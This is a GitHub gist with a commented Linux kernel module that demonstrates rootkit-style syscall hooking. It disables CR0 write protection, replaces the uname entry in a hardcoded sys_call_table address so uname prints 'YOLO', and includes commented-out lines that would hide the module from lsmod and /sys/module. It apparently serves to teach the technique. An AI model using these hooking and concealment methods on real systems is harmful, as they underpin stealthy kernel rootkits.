Skip to content

Instantly share code, notes, and snippets.

@AVGP
Created February 14, 2018 09:50
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save AVGP/ef65a5c8db0d36124e701cb9ed954f8a to your computer and use it in GitHub Desktop.
Save AVGP/ef65a5c8db0d36124e701cb9ed954f8a to your computer and use it in GitHub Desktop.
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/unistd.h>
#include <linux/utsname.h>
#define MEM_READONLY 0x10000 // bit 16 in cr0 specifies if "readonly" memory is protected
// we define a type for the original uname syscall handler function
typedef asmlinkage long (*orig_uname_t)(struct new_utsname *);
// TODO: Find this dynamically, either via IDT or via /boot/System.map
// we keep a pointer to the beginning of the sys_call_table
unsigned long *sys_call_tbl = (unsigned long *)0xffffffff81801300; // WAIT, these seem to be stable for the same kernel version across hosts :O
// here we'll store the address of the original "uname" handler
orig_uname_t orig_uname = NULL;
//
asmlinkage long my_uname(struct new_utsname *name) {
orig_uname(name); // we call the original function to get the structure filled out by the real syscall
strncpy(name->sysname, "YOLO", 5); // now we overwrite the "sysname" field (the first part of what "uname" outputs). 5 bytes because of the trailing \0.
return 0;
}
int init(void) {
printk("Yolo Swaggings loaded.\n");
// the following two lines hide the module from /proc/modules (and thus from lsmod, modinfo, rmmod, etc.) and /sys/module/
//list_del_init(&__this_module.list);
//kobject_del(&THIS_MODULE->mkobj.kobj);
// disable write protection in the memory via the cr0 register on the CPU by removing the "read-only" bit
write_cr0(read_cr0() & (~ MEM_READONLY));
// look at the position of the "uname" syscall in our table and save the address it points to (i.e. the original uname handler)
orig_uname = (orig_uname_t)sys_call_tbl[__NR_uname];
// now we put the address of our own handler (my_uname) into the table
sys_call_tbl[__NR_uname] = &my_uname;
printk("Original uname at %08x -- new one at %08x\n", orig_uname, &my_uname);
// enable write protection by putting the "read-only" bit back
write_cr0(read_cr0() | MEM_READONLY);
return 0;
}
void unload(void) {
// disable write protection
write_cr0(read_cr0() & (~MEM_READONLY));
// put the original handler back
sys_call_tbl[__NR_uname] = orig_uname;
// enable write protection
write_cr0(read_cr0() | MEM_READONLY);
printk("Yolo Swaggings has left the building.\n");
}
// Declare this as a module, licensed under GPL, run "init" when loaded, run "unload" when removed
MODULE_LICENSE("GPL");
module_init(init);
module_exit(unload);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment